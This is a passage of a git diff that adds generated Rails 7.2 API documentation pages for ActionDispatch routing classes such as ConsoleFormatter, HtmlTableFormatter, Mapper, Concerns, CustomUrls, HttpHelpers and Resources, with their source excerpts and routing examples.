+ + section_title(title) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 165
+        def section_title(title)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Expanded.html b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Expanded.html new file mode 100644 index 0000000000..11ce84e644 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Expanded.html @@ -0,0 +1,189 @@ +--- +title: ActionDispatch::Routing::ConsoleFormatter::Expanded +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(width: IO.console_size[1]) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 229
+        def initialize(width: IO.console_size[1])
+          @width = width
+          super()
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + section(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 238
+        def section(routes)
+          @buffer << draw_expanded_section(routes)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + section_title(title) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 234
+        def section_title(title)
+          @buffer << "\n#{"[ #{title} ]"}"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Sheet.html b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Sheet.html new file mode 100644 index 0000000000..e3e4b89d96 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Sheet.html @@ -0,0 +1,185 @@ +--- +title: ActionDispatch::Routing::ConsoleFormatter::Sheet +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + header(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 201
+        def header(routes)
+          @buffer << draw_header(routes)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + section(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 197
+        def section(routes)
+          @buffer << draw_section(routes)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + section_title(title) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 193
+        def section_title(title)
+          @buffer << "\n#{title}:"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Unused.html b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Unused.html new file mode 100644 index 0000000000..60a3e57d1e --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Unused.html @@ -0,0 +1,157 @@ +--- +title: ActionDispatch::Routing::ConsoleFormatter::Unused +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + header(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 264
+        def header(routes)
+          @buffer << <<~MSG
+            Found #{routes.count} unused #{"route".pluralize(routes.count)}:
+          MSG
+
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + no_routes(routes, filter) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 272
+        def no_routes(routes, filter)
+          @buffer <<
+            if filter.none?
+              "No unused routes found."
+            elsif filter.key?(:controller)
+              "No unused routes found for this controller."
+            elsif filter.key?(:grep)
+              "No unused routes found for this grep pattern."
+            end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/HtmlTableFormatter.html b/src/7.2/classes/ActionDispatch/Routing/HtmlTableFormatter.html new file mode 100644 index 0000000000..5ec0899a0c --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/HtmlTableFormatter.html @@ -0,0 +1,316 @@ +--- +title: ActionDispatch::Routing::HtmlTableFormatter +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(view) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 286
+      def initialize(view)
+        @view = view
+        @buffer = []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + header(routes) + +

+ + +
+

The header is part of the HTML page, so we don’t construct it here.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 300
+      def header(routes)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + no_routes(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 303
+      def no_routes(*)
+        @buffer << <<~MESSAGE
+          <p>You don't have any routes defined!</p>
+          <ul>
+            <li>Please add some routes in <tt>config/routes.rb</tt>.</li>
+            <li>
+              For more information about routes, please see the Rails guide
+              <a href="https://guides.rubyonrails.org/routing.html">Rails Routing from the Outside In</a>.
+            </li>
+          </ul>
+        MESSAGE
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + result() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 316
+      def result
+        @view.raw @view.render(layout: "routes/table") {
+          @view.raw @buffer.join("\n")
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + section(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 295
+      def section(routes)
+        @buffer << @view.render(partial: "routes/route", collection: routes)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + section_title(title) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 291
+      def section_title(title)
+        @buffer << %(<tr><th colspan="5">#{title}</th></tr>)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/Mapper.html b/src/7.2/classes/ActionDispatch/Routing/Mapper.html new file mode 100644 index 0000000000..4b468a98b6 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/Mapper.html @@ -0,0 +1,255 @@ +--- +title: ActionDispatch::Routing::Mapper +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
URL_OPTIONS=[:protocol, :subdomain, :domain, :host, :port]
+ + + + + + +

Class Public methods

+ +
+

+ + normalize_name(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 429
+      def self.normalize_name(name)
+        normalize_path(name)[1..-1].tr("/", "_")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + normalize_path(path) + +

+ + +
+

Invokes Journey::Router::Utils.normalize_path, then ensures that /(:locale) becomes (/:locale). Except for root cases, where the former is the correct one.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 414
+      def self.normalize_path(path)
+        path = Journey::Router::Utils.normalize_path(path)
+
+        # the path for a root URL at this point can be something like
+        # "/(/:locale)(/:platform)/(:browser)", and we would want
+        # "/(:locale)(/:platform)(/:browser)" reverse "/(", "/((" etc to "(/", "((/" etc
+        path.gsub!(%r{/(\(+)/?}, '\1/')
+        # if a path is all optional segments, change the leading "(/" back to "/(" so it
+        # evaluates to "/" when interpreted with no options. Unless, however, at least
+        # one secondary segment consists of a static part, ex.
+        # "(/:locale)(/pages/:page)"
+        path.sub!(%r{^(\(+)/}, '/\1') if %r{^(\(+[^)]+\))(\(+/:[^)]+\))*$}.match?(path)
+        path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/Mapper/Base.html b/src/7.2/classes/ActionDispatch/Routing/Mapper/Base.html new file mode 100644 index 0000000000..ab27633f94 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/Mapper/Base.html @@ -0,0 +1,512 @@ +--- +title: ActionDispatch::Routing::Mapper::Base +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + default_url_options(options) + +

+ + +
+ +
+ + + + + +
+ Alias for: default_url_options= +
+ + + + +
+ +
+

+ + default_url_options=(options) + +

+ + +
+ +
+ + + +
+ Also aliased as: default_url_options +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 662
+        def default_url_options=(options)
+          @set.default_url_options = options
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_named_route?(name) + +

+ + +
+

Query if the following named route was already defined.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 674
+        def has_named_route?(name)
+          @set.named_routes.key?(name)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + match(path, options = nil) + +

+ + +
+

Matches a URL pattern to one or more routes.

+ +

You should not use the match method in your router without specifying an HTTP method.

+ +

If you want to expose your action to both GET and POST, use:

+ +
# sets :controller, :action, and :id in params
+match ':controller/:action/:id', via: [:get, :post]
+
+ +

Note that :controller, :action, and :id are interpreted as URL query parameters and thus available through params in an action.

+ +

If you want to expose your action to GET, use get in the router:

+ +

Instead of:

+ +
match ":controller/:action/:id"
+
+ +

Do:

+ +
get ":controller/:action/:id"
+
+ +

Two of these symbols are special, :controller maps to the controller and :action to the controller’s action. A pattern can also map wildcard segments (globs) to params:

+ +
get 'songs/*category/:title', to: 'songs#show'
+
+# 'songs/rock/classic/stairway-to-heaven' sets
+#  params[:category] = 'rock/classic'
+#  params[:title] = 'stairway-to-heaven'
+
+ +

To match a wildcard parameter, it must have a name assigned to it. Without a variable name to attach the glob parameter to, the route can’t be parsed.

+ +

When a pattern points to an internal route, the route’s :action and :controller should be set in options or hash shorthand. Examples:

+ +
match 'photos/:id' => 'photos#show', via: :get
+match 'photos/:id', to: 'photos#show', via: :get
+match 'photos/:id', controller: 'photos', action: 'show', via: :get
+
+ +

A pattern can also point to a Rack endpoint i.e. anything that responds to call:

+ +
match 'photos/:id', to: -> (hash) { [200, {}, ["Coming soon"]] }, via: :get
+match 'photos/:id', to: PhotoRackApp, via: :get
+# Yes, controller actions are just rack endpoints
+match 'photos/:id', to: PhotosController.action(:show), via: :get
+
+ +

Because requesting various HTTP verbs with a single action has security implications, you must either specify the actions in the via options or use one of the HttpHelpers instead match

+ +

Options

+ +

Any options not seen here are passed on as params with the URL.

+
:controller +
+

The route’s controller.

+
:action +
+

The route’s action.

+
:param +
+

Overrides the default resource identifier :id (name of the dynamic segment used to generate the routes). You can access that segment from your controller using params[<:param>]. In your router:

+
+ +
    resources :users, param: :name
+
+The `users` resource here will have the following routes generated for it:
+
+    GET       /users(.:format)
+    POST      /users(.:format)
+    GET       /users/new(.:format)
+    GET       /users/:name/edit(.:format)
+    GET       /users/:name(.:format)
+    PATCH/PUT /users/:name(.:format)
+    DELETE    /users/:name(.:format)
+
+You can override `ActiveRecord::Base#to_param` of a related model to
+construct a URL:
+
+    class User < ActiveRecord::Base
+      def to_param
+        name
+      end
+    end
+
+    user = User.find_by(name: 'Phusion')
+    user_path(user)  # => "/users/Phusion"
+
+
:path +
+

The path prefix for the routes.

+
:module +
+

The namespace for :controller.

+
+ +
    match 'path', to: 'c#a', module: 'sekret', controller: 'posts', via: :get
+    # => Sekret::PostsController
+
+See `Scoping#namespace` for its scope equivalent.
+
+
:as +
+

The name used to generate routing helpers.

+
:via +
+

Allowed HTTP verb(s) for route.

+
+ +
    match 'path', to: 'c#a', via: :get
+    match 'path', to: 'c#a', via: [:get, :post]
+    match 'path', to: 'c#a', via: :all
+
+
:to +
+

Points to a Rack endpoint. Can be an object that responds to call or a string representing a controller’s action.

+
+ +
    match 'path', to: 'controller#action', via: :get
+    match 'path', to: -> (env) { [200, {}, ["Success!"]] }, via: :get
+    match 'path', to: RackApp, via: :get
+
+
:on +
+

Shorthand for wrapping routes in a specific RESTful context. Valid values are :member, :collection, and :new. Only use within resource(s) block. For example:

+
+ +
    resource :bar do
+      match 'foo', to: 'c#a', on: :member, via: [:get, :post]
+    end
+
+Is equivalent to:
+
+    resource :bar do
+      member do
+        match 'foo', to: 'c#a', via: [:get, :post]
+      end
+    end
+
+
:constraints +
+

Constrains parameters with a hash of regular expressions or an object that responds to matches?. In addition, constraints other than path can also be specified with any object that responds to === (e.g. String, Array, Range, etc.).

+
+ +
    match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }, via: :get
+
+    match 'json_only', constraints: { format: 'json' }, via: :get
+
+    class PermitList
+      def matches?(request) request.remote_ip == '1.2.3.4' end
+    end
+    match 'path', to: 'c#a', constraints: PermitList.new, via: :get
+
+See `Scoping#constraints` for more examples with its scope equivalent.
+
+
:defaults +
+

Sets defaults for parameters

+
+ +
    # Sets params[:format] to 'jpg' by default
+    match 'path', to: 'c#a', defaults: { format: 'jpg' }, via: :get
+
+See `Scoping#defaults` for its scope equivalent.
+
+
:anchor +
+

Boolean to anchor a match pattern. Default is true. When set to false, the pattern matches any request prefixed with the given path.

+
+ +
    # Matches any request starting with 'path'
+    match 'path', to: 'c#a', anchor: false, via: :get
+
+
:format +
+

Allows you to specify the default value for optional format segment or disable it by supplying false.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 610
+        def match(path, options = nil)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mount(app, options = nil) + +

+ + +
+

Mount a Rack-based application to be used within the application.

+ +
mount SomeRackApp, at: "some_route"
+
+ +

Alternatively:

+ +
mount(SomeRackApp => "some_route")
+
+ +

For options, see match, as mount uses it internally.

+ +

All mounted applications come with routing helpers to access them. These are named after the class specified, so for the above example the helper is either some_rack_app_path or some_rack_app_url. To customize this helper’s name, use the :as option:

+ +
mount(SomeRackApp => "some_route", as: "exciting")
+
+ +

This will generate the exciting_path and exciting_url helpers which can be used to navigate to this mounted app.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 632
+        def mount(app, options = nil)
+          if options
+            path = options.delete(:at)
+          elsif Hash === app
+            options = app
+            app, path = options.find { |k, _| k.respond_to?(:call) }
+            options.delete(app) if app
+          end
+
+          raise ArgumentError, "A rack application must be specified" unless app.respond_to?(:call)
+          raise ArgumentError, <<~MSG unless path
+            Must be called with mount point
+
+              mount SomeRackApp, at: "some_route"
+              or
+              mount(SomeRackApp => "some_route")
+          MSG
+
+          rails_app = rails_app? app
+          options[:as] ||= app_name(app, rails_app)
+
+          target_as       = name_for_action(options[:as], path)
+          options[:via] ||= :all
+
+          match(path, { to: app, anchor: false, format: false }.merge(options))
+
+          define_generate_prefix(app, target_as) if rails_app
+          self
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_default_scope(scope, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 667
+        def with_default_scope(scope, &block)
+          scope(scope) do
+            instance_exec(&block)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/Mapper/Concerns.html b/src/7.2/classes/ActionDispatch/Routing/Mapper/Concerns.html new file mode 100644 index 0000000000..8dab8d207c --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/Mapper/Concerns.html @@ -0,0 +1,236 @@ +--- +title: ActionDispatch::Routing::Mapper::Concerns +layout: default +--- +
+ +
+
+ +
+ +

Routing Concerns allow you to declare common routes that can be reused inside others resources and routes.

+ +
concern :commentable do
+  resources :comments
+end
+
+concern :image_attachable do
+  resources :images, only: :index
+end
+
+ +

These concerns are used in Resources routing:

+ +
resources :messages, concerns: [:commentable, :image_attachable]
+
+ +

or in a scope or namespace:

+ +
namespace :posts do
+  concerns :commentable
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + concern(name, callable = nil, &block) + +

+ + +
+

Define a routing concern using a name.

+ +

Concerns may be defined inline, using a block, or handled by another object, by passing that object as the second parameter.

+ +

The concern object, if supplied, should respond to call, which will receive two parameters:

+ +
* The current mapper
+* A hash of options which the concern object may use
+
+ +

Options may also be used by concerns defined in a block by accepting a block parameter. So, using a block, you might do something as simple as limit the actions available on certain resources, passing standard resource options through the concern:

+ +
concern :commentable do |options|
+  resources :comments, options
+end
+
+resources :posts, concerns: :commentable
+resources :archived_posts do
+  # Don't allow comments on archived posts
+  concerns :commentable, only: [:index, :show]
+end
+
+ +

Or, using a callable object, you might implement something more specific to your application, which would be out of place in your routes file.

+ +
# purchasable.rb
+class Purchasable
+  def initialize(defaults = {})
+    @defaults = defaults
+  end
+
+  def call(mapper, options = {})
+    options = @defaults.merge(options)
+    mapper.resources :purchases
+    mapper.resources :receipts
+    mapper.resources :returns if options[:returnable]
+  end
+end
+
+# routes.rb
+concern :purchasable, Purchasable.new(returnable: true)
+
+resources :toys, concerns: :purchasable
+resources :electronics, concerns: :purchasable
+resources :pets do
+  concerns :purchasable, returnable: false
+end
+
+ +

Any routing helpers can be used inside a concern. If using a callable, they’re accessible from the Mapper that’s passed to call.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 2116
+        def concern(name, callable = nil, &block)
+          callable ||= lambda { |mapper, options| mapper.instance_exec(options, &block) }
+          @concerns[name] = callable
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + concerns(*args) + +

+ + +
+

Use the named concerns

+ +
resources :posts do
+  concerns :commentable
+end
+
+ +

Concerns also work in any routes helper that you want to use:

+ +
namespace :posts do
+  concerns :commentable
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 2132
+        def concerns(*args)
+          options = args.extract_options!
+          args.flatten.each do |name|
+            if concern = @concerns[name]
+              concern.call(self, options)
+            else
+              raise ArgumentError, "No concern named #{name} was found!"
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/Mapper/CustomUrls.html b/src/7.2/classes/ActionDispatch/Routing/Mapper/CustomUrls.html new file mode 100644 index 0000000000..58624569de --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/Mapper/CustomUrls.html @@ -0,0 +1,234 @@ +--- +title: ActionDispatch::Routing::Mapper::CustomUrls +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + direct(name, options = {}, &block) + +

+ + +
+

Define custom URL helpers that will be added to the application’s routes. This allows you to override and/or replace the default behavior of routing helpers, e.g:

+ +
direct :homepage do
+  "https://rubyonrails.org"
+end
+
+direct :commentable do |model|
+  [ model, anchor: model.dom_id ]
+end
+
+direct :main do
+  { controller: "pages", action: "index", subdomain: "www" }
+end
+
+ +

The return value from the block passed to direct must be a valid set of arguments for url_for which will actually build the URL string. This can be one of the following:

+
  • +

    A string, which is treated as a generated URL

    +
  • +

    A hash, e.g. { controller: "pages", action: "index" }

    +
  • +

    An array, which is passed to polymorphic_url

    +
  • +

    An Active Model instance

    +
  • +

    An Active Model class

    +
+ +

NOTE: Other URL helpers can be called in the block but be careful not to invoke your custom URL helper again otherwise it will result in a stack overflow error.

+ +

You can also specify default options that will be passed through to your URL helper definition, e.g:

+ +
direct :browse, page: 1, size: 10 do |options|
+  [ :products, options.merge(params.permit(:page, :size).to_h.symbolize_keys) ]
+end
+
+ +

In this instance the params object comes from the context in which the block is executed, e.g. generating a URL inside a controller action or a view. If the block is executed where there isn’t a params object such as this:

+ +
Rails.application.routes.url_helpers.browse_path
+
+ +

then it will raise a NameError. Because of this you need to be aware of the context in which you will use your custom URL helper when defining it.

+ +

NOTE: The direct method can’t be used inside of a scope block such as namespace or scope and will raise an error if it detects that it is.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 2194
+        def direct(name, options = {}, &block)
+          unless @scope.root?
+            raise RuntimeError, "The direct method can't be used inside a routes scope block"
+          end
+
+          @set.add_url_helper(name, options, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + resolve(*args, &block) + +

+ + +
+

Define custom polymorphic mappings of models to URLs. This alters the behavior of polymorphic_url and consequently the behavior of link_to and form_for when passed a model instance, e.g:

+ +
resource :basket
+
+resolve "Basket" do
+  [:basket]
+end
+
+ +

This will now generate β€œ/basket” when a Basket instance is passed to link_to or form_for instead of the standard β€œ/baskets/:id”.

+ +

NOTE: This custom behavior only applies to simple polymorphic URLs where a single model instance is passed and not more complicated forms, e.g:

+ +
# config/routes.rb
+resource :profile
+namespace :admin do
+  resources :users
+end
+
+resolve("User") { [:profile] }
+
+# app/views/application/_menu.html.erb
+link_to "Profile", @current_user
+link_to "Profile", [:admin, @current_user]
+
+ +

The first link_to will generate β€œ/profile” but the second will generate the standard polymorphic URL of β€œ/admin/users/1”.

+ +

You can pass options to a polymorphic mapping - the arity for the block needs to be two as the instance is passed as the first argument, e.g:

+ +
resolve "Basket", anchor: "items" do |basket, options|
+  [:basket, options]
+end
+
+ +

This generates the URL β€œ/basket#items” because when the last item in an array passed to polymorphic_url is a hash then it’s treated as options to the URL helper that gets called.

+ +

NOTE: The resolve method can’t be used inside of a scope block such as namespace or scope and will raise an error if it detects that it is.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 2246
+        def resolve(*args, &block)
+          unless @scope.root?
+            raise RuntimeError, "The resolve method can't be used inside a routes scope block"
+          end
+
+          options = args.extract_options!
+          args = args.flatten(1)
+
+          args.each do |klass|
+            @set.add_polymorphic_mapping(klass, options, &block)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html b/src/7.2/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html new file mode 100644 index 0000000000..2e0ade1179 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html @@ -0,0 +1,314 @@ +--- +title: ActionDispatch::Routing::Mapper::HttpHelpers +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + delete(*args, &block) + +

+ + +
+

Define a route that only recognizes HTTP DELETE. For supported arguments, see match

+ +
delete 'broccoli', to: 'food#broccoli'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 764
+        def delete(*args, &block)
+          map_method(:delete, args, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + get(*args, &block) + +

+ + +
+

Define a route that only recognizes HTTP GET. For supported arguments, see match

+ +
get 'bacon', to: 'food#bacon'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 732
+        def get(*args, &block)
+          map_method(:get, args, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + options(*args, &block) + +

+ + +
+

Define a route that only recognizes HTTP OPTIONS. For supported arguments, see match

+ +
options 'carrots', to: 'food#carrots'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 772
+        def options(*args, &block)
+          map_method(:options, args, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + patch(*args, &block) + +

+ + +
+

Define a route that only recognizes HTTP PATCH. For supported arguments, see match

+ +
patch 'bacon', to: 'food#bacon'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 748
+        def patch(*args, &block)
+          map_method(:patch, args, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + post(*args, &block) + +

+ + +
+

Define a route that only recognizes HTTP POST. For supported arguments, see match

+ +
post 'bacon', to: 'food#bacon'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 740
+        def post(*args, &block)
+          map_method(:post, args, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + put(*args, &block) + +

+ + +
+

Define a route that only recognizes HTTP PUT. For supported arguments, see match

+ +
put 'bacon', to: 'food#bacon'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 756
+        def put(*args, &block)
+          map_method(:put, args, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/Mapper/Resources.html b/src/7.2/classes/ActionDispatch/Routing/Mapper/Resources.html new file mode 100644 index 0000000000..d720be2b48 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/Mapper/Resources.html @@ -0,0 +1,1155 @@ +--- +title: ActionDispatch::Routing::Mapper::Resources +layout: default +--- +
+ +
+
+ +
+ +

Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your index, show, new, edit, create, update, and destroy actions, a resourceful route declares them in a single line of code:

+ +
resources :photos
+
+ +

Sometimes, you have a resource that clients always look up without referencing an ID. A common example, /profile always shows the profile of the currently logged in user. In this case, you can use a singular resource to map /profile (rather than /profile/:id) to the show action.

+ +
resource :profile
+
+ +

It’s common to have resources that are logically children of other resources:

+ +
resources :magazines do
+  resources :ads
+end
+
+ +

You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an admin namespace. You would place these controllers under the app/controllers/admin directory, and you can group them together in your router:

+ +
namespace "admin" do
+  resources :posts, :comments
+end
+
+ +

By default the :id parameter doesn’t accept dots. If you need to use dots as part of the :id parameter add a constraint which overrides this restriction, e.g:

+ +
resources :articles, id: /[^\/]+/
+
+ +

This allows any character other than a slash as part of your :id.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CANONICAL_ACTIONS=%w(index create new show update destroy)
RESOURCE_OPTIONS=[:as, :controller, :path, :only, :except, :param, :concerns]
VALID_ON_OPTIONS=[:new, :collection, :member]
 

CANONICAL_ACTIONS holds all actions that does not need a prefix or a path appended since they fit properly in their scope level.

+ + + + + + + +

Instance Public methods

+ +
+

+ + collection(&block) + +

+ + +
+

To add a route to the collection:

+ +
resources :photos do
+  collection do
+    get 'search'
+  end
+end
+
+ +

This will enable Rails to recognize paths such as /photos/search with GET, and route to the search action of PhotosController. It will also create the search_photos_url and search_photos_path route helpers.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1548
+        def collection(&block)
+          unless resource_scope?
+            raise ArgumentError, "can't use collection outside resource(s) scope"
+          end
+
+          with_scope_level(:collection) do
+            path_scope(parent_resource.collection_scope, &block)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + draw(name) + +

+ + +
+

Loads another routes file with the given name located inside the config/routes directory. In that file, you can use the normal routing DSL, but do not surround it with a Rails.application.routes.draw block.

+ +
# config/routes.rb
+Rails.application.routes.draw do
+  draw :admin                 # Loads `config/routes/admin.rb`
+  draw "third_party/some_gem" # Loads `config/routes/third_party/some_gem.rb`
+end
+
+# config/routes/admin.rb
+namespace :admin do
+  resources :accounts
+end
+
+# config/routes/third_party/some_gem.rb
+mount SomeGem::Engine, at: "/some_gem"
+
+ +

CAUTION: Use this feature with care. Having multiple routes files can negatively impact discoverability and readability. For most applications β€”even those with a few hundred routes β€” it’s easier for developers to have a single routes file.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1657
+        def draw(name)
+          path = @draw_paths.find do |_path|
+            File.exist? "#{_path}/#{name}.rb"
+          end
+
+          unless path
+            msg  = "Your router tried to #draw the external file #{name}.rb,\n" \
+                   "but the file was not found in:\n\n"
+            msg += @draw_paths.map { |_path| " * #{_path}" }.join("\n")
